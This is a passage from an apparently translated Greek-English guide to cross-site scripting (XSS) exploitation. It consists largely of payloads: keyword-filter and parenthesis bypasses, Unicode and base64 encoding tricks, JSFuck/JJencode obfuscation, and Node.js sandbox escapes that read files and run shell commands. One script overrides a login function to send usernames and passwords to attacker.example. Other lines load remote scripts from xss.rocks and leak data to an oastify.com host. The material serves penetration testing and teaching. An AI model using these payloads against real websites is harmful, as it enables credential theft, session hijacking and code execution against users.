Επομένως, αν βρεις ότι η είσοδός σου είναι reflected μέσα σε ένα JS string που χρησιμοποιεί backticks, μπορείς να εκμεταλλευτείς τη σύνταξη ${ ... } για να εκτελέσεις arbitrary JS code:
Αυτό μπορεί να εκμεταλλευτεί χρησιμοποιώντας:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Κωδικοποιημένη εκτέλεση κώδικα
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Παραδοτέα payloads με eval(atob()) και αποχρώσεις του scope
Για να κρατήσετε τις URLs πιο σύντομες και να παρακάμψετε απλά/αφελή φίλτρα λέξεων-κλειδιών, μπορείτε να κάνετε base64-encode την πραγματική σας λογική και να την αξιολογήσετε με eval(atob('...')). Αν απλό φιλτράρισμα λέξεων-κλειδιών μπλοκάρει αναγνωριστικά όπως alert, eval ή atob, χρησιμοποιήστε Unicode-escaped αναγνωριστικά που compile ακριβώς το ίδιο στον browser αλλά αποφεύγουν φίλτρα που ταιριάζουν με αλφαριθμητικά:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Σημαντική παρατήρηση για το scoping: const/let που δηλώνονται μέσα σε eval() είναι block-scoped και ΔΕΝ δημιουργούν globals· δεν θα είναι προσβάσιμα από μετέπειτα scripts. Χρησιμοποίησε δυναμικά εισαγόμενο <script> element για να ορίσεις global, non-rebindable hooks όταν χρειάζεται (π.χ., για να hijack-άρεις έναν form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Αναφορά: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Κωδικοποίηση Unicode για εκτέλεση JS
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists τεχνικές
Συμβολοσειρές
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Ειδικές ακολουθίες διαφυγής
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Αντικαταστάσεις κενών μέσα σε κώδικα JS
<TAB>
/**/
JavaScript comments (από JavaScript Comments κόλπο)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript νέες γραμμές (από JavaScript new line κόλπο)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript λευκοί χαρακτήρες
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript μέσα σε σχόλιο
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript χωρίς παρενθέσεις
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Κλήση αυθαίρετης συνάρτησης (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Υπάρχει JS code που χρησιμοποιεί μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο όπως location.href. Ένας επιτιθέμενος μπορεί να το καταχραστεί για να εκτελέσει αυθαίρετο JS code.
Εξαιτίας της εκτενούς εξήγησης των DOM vulnerabilities it was moved to this page:
Εκεί θα βρείτε μια λεπτομερή εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε.
Επίσης, μην ξεχάσετε ότι στο τέλος του εν λόγω άρθρου μπορείτε να βρείτε μια εξήγηση για τους DOM Clobbering attacks.
Αναβάθμιση Self-XSS
Cookie XSS
Αν μπορείτε να ενεργοποιήσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα vulnerable subdomain to XSS, μπορείτε να καταχραστείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα subdomains (αυτά που είναι vulnerable to cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την cookie tossing attack:
Μπορείτε να βρείτε μια εξαιρετική κατάχρηση αυτής της τεχνικής σε this blog post.
Sending your session to the admin
Ίσως ένας user να μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο admin το ανοίξει, θα ενεργοποιήσει την ευπάθεια.
Session Mirroring
Αν βρείτε κάποιο self XSS και η σελίδα διαθέτει session mirroring για administrators, για παράδειγμα επιτρέποντας σε clients να ζητήσουν βοήθεια και ώστε ο admin να σας βοηθήσει, αυτός θα βλέπει τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
Μπορείτε να κάνετε τον administrator να ενεργοποιήσει το self XSS σας και να κλέψετε τα cookies/session του.
Άλλες Παράκαμψεις
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Μπορείτε να ελέγξετε αν οι reflected values κανονικοποιούνται σε unicode normalized στον server (ή στο client side) και να καταχραστείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Λόγω του RoR mass assignment εισάγονται εισαγωγικά στο HTML και στη συνέχεια ο περιορισμός των εισαγωγικών παρακάμπτεται και επιπλέον πεδία (onfocus) μπορούν να προστεθούν μέσα στο tag.
Παράδειγμα φόρμας (from this report), αν στείλετε το payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Το ζεύγος “Key”,“Value” θα επιστραφεί ως εξής:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Τότε, το attribute onfocus θα εισαχθεί και θα προκύψει XSS.
Ειδικοί συνδυασμοί
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS με header injection σε απάντηση 302
Αν διαπιστώσετε ότι μπορείτε να inject headers in a 302 Redirect response μπορείτε να προσπαθήσετε να make the browser execute arbitrary JavaScript. Αυτό δεν είναι trivial, καθώς οι σύγχρονοι browsers δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο.
In this report and this one μπορείτε να διαβάσετε πώς να ελέγξετε διάφορα πρωτόκολλα μέσα στην Location header και να δείτε αν κάποιο από αυτά επιτρέπει στον browser να επιθεωρήσει και να εκτελέσει το XSS payload μέσα στο σώμα.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Μόνο γράμματα, αριθμοί και τελείες
If you are able to indicate the callback that javascript is going to execute limited to those chars. Read this section of this post to find how to abuse this behaviour.
Valid <script> Content-Types to XSS
(From here) Αν προσπαθήσετε να φορτώσετε ένα script με content-type όπως application/octet-stream, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Τα μόνα Content-Types που θα υποστηρίξουν το Chrome για να τρέξει ένα loaded script είναι αυτά που βρίσκονται μέσα στην const kSupportedJavascriptTypes από https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Τύποι Script για XSS
(Από here) Άρα, ποιες τιμές του type μπορούν να υποδειχθούν για να φορτώσει ένα script;
<script type="???"></script>
- module (προεπιλογή, δεν χρειάζεται εξήγηση)
- webbundle: Web Bundles είναι μια δυνατότητα που σου επιτρέπει να πακετάρεις μια συλλογή δεδομένων (HTML, CSS, JS…) σε ένα αρχείο
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Επιτρέπει τη βελτίωση της σύνταξης import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο this writeup για να remap-άρει μια βιβλιοθήκη σε eval και να την εκμεταλλευτεί ώστε να προκαλέσει XSS.
- speculationrules: Αυτή η λειτουργία έχει κυρίως σχεδιαστεί για να επιλύει κάποια προβλήματα που προκαλούνται από pre-rendering. Λειτουργεί ως εξής:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types για XSS
(Από here) Οι ακόλουθοι content types μπορούν να εκτελέσουν XSS σε όλους τους browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? δεν είναι στη λίστα αλλά νομίζω το είδα σε ένα CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In other browsers other Content-Types can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Αν η σελίδα επιστρέφει content-type text/xml, είναι δυνατό να δηλωθεί ένα namespace και να εκτελεστεί αυθαίρετο JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Ειδικά Πρότυπα Αντικατάστασης
Όταν κάτι σαν "some {{template}} data".replace("{{template}}", <user_input>) χρησιμοποιείται, ο επιτιθέμενος μπορεί να χρησιμοποιήσει special string replacements για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Για παράδειγμα στο this writeup, αυτό χρησιμοποιήθηκε για να scape a JSON string μέσα σε script και να εκτελέσει αυθαίρετο κώδικα.
Chrome Cache σε XSS
XS Jails Escape
Αν έχεις μόνο περιορισμένο σύνολο χαρακτήρων που μπορείς να χρησιμοποιήσεις, κοίτα αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Αν όλα είναι undefined πριν από την εκτέλεση μη αξιόπιστου κώδικα (όπως σε this writeup) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα “από το τίποτα” για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
- Χρησιμοποιώντας import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Πρόσβαση στο
requireέμμεσα
According to this τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως παρακάτω:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Επομένως, αν από εκείνο το module μπορούμε να καλέσουμε μια άλλη συνάρτηση, είναι δυνατό να χρησιμοποιήσουμε arguments.callee.caller.arguments[1] από αυτή τη συνάρτηση για να αποκτήσουμε πρόσβαση στο require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να use error handlers για να αποκτήσετε πρόσβαση στο wrapper του module και να πάρετε τη συνάρτηση require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Διάφορα obfuscations σε μία σελίδα: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Πιο εξελιγμένο JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
